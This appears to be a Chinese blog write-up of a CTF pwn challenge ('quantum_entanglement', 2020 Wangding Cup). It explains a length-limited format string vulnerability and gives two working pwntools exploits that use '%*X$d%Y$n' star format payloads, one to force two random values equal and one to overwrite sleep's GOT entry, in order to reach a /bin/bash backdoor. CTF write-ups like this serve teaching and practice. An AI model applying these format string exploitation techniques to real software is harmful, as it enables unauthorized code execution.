[pwn]星號格式化串:2020網鼎杯白虎組pwn quantum_entanglement wp

[pwn]星號格式化串:2020網鼎杯白虎組pwn quantum_entanglement wp


還是一個比較有意思的個格式化串題目,限制了輸入長度,需要使用星號的格式化串完成利用。

題目分析

題目名字:量子糾纏,實際沒啥關係,強行起名,首先查看安全策略:
在這裏插入圖片描述
沒有PIE,程序的邏輯就讓你輸入first name和last name,然後就輸出了:
在這裏插入圖片描述
然後逆向分析題目:

沒辦法直接F5,在scanf的地方會報個分析異常,是參數引起的,可以選擇把這句nop掉然後f5 分析:
在這裏插入圖片描述
程序main函數中先取兩個隨機值,放在棧上,然後注意我畫圈的地方,它把其中一個隨機值的後半段地址留在了棧上。在你輸入完first name和last name之後,會進行一個login函數,裏面有格式化串漏洞,接下來會判斷開始存放在棧上的兩個隨機值是否相等(正常肯定是不相等的),相等的話,會有一個system(’/bin/bash’)獎勵:
在這裏插入圖片描述
在login函數中,存在兩個格式化串漏洞,但每個限制最大13個字符(輸入的時候限制的):
在這裏插入圖片描述
在這裏插入圖片描述

利用方法1

這裏用到了一個知識點,%*X$d%Y$n會把棧中偏移X處的賦給棧中偏移Y處的指針指向的地址。類似的題目是MidnightsunCTF Quals 2020 pwn4(感謝隊內大佬點撥)

所以利用思路就是:

  1. 確定棧中的半個隨機數A指針的偏移M和隨機數B的偏移N
  2. 找到一個棧中的地址A指向棧中地址B指向棧中地址C的棧指針鏈
  3. 確定棧中地址A的偏移和棧中地址B的偏移(假設分別爲X和Y)
  4. 然後利用兩個payload'%*M$d%X$hn''%*N$c%Y$n'完成利用

然後我們看一下在格式化字符串的時候的棧結構:

b * 0x804876A斷在格式化字符串觸發的時候,然後看棧結構:
在這裏插入圖片描述
所以,步驟中的M和N就分別是19和18。然後需要找一個棧->棧->棧的棧指針鏈,這個需要在棧的非常靠下的位置找到:
在這裏插入圖片描述
圖中的三個都可以,我這裏用的第一個,然後計算一下偏移:
在這裏插入圖片描述
然後寫出exp:

from pwn import * 
context.terminal=['tmux','splitw','-h']
p=process("./quantum_entanglement")

payload1 = '%*19$d%65$hn'
payload2 = '%*18$c%118$n'
#gdb.attach(p)

p.recv()
p.sendline(payload1)
p.recv()
p.sendline(payload2)
p.interactive()

由於中間有一個sleep(3),可能會睡3秒。而且%※這個格式化串是輸出對應值數量的空格,每次隨機值不同,可能輸出的時間不同,但一般是幾秒鐘。
在這裏插入圖片描述

利用方法2

由於格式化串到後門之間還執行了一個sleep,所以我們可以修改sleep的got表。手段和上面一樣,同樣是使用%*X$d%Y$n將sleep的got表覆蓋,然後將got表修改爲後門的地址處。

  1. 找到輸入的first name和last name在棧中的偏移X 和Y
  2. 獲得sleep.got和backdoor的地址
  3. 通過兩個payloadp32(sleepgot)+p32(backdoor)'%*Y$c%X$n完成利用

最後找到偏移分別是20和21,exp如下:

from pwn import * 
context.terminal=['tmux','splitw','-h']
p=process("./quantum_entanglement")
elf=ELF("./quantum_entanglement")

sleepgot=elf.got['sleep']
backdoor=0x080489DB

payload1=p32(sleepgot)+p32(backdoor)
payload2 = '%*21$c' + '%20$n'
#gdb.attach(p)

p.recv()
p.sendline(payload1)
p.recv()
p.sendline(payload2)
p.interactive()

然後這種方法相比前一種方法,執行時間要長的多,因爲寫的是一個地址,要輸出上G的空格。。。。
在這裏插入圖片描述
運行了將近兩分鐘。。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章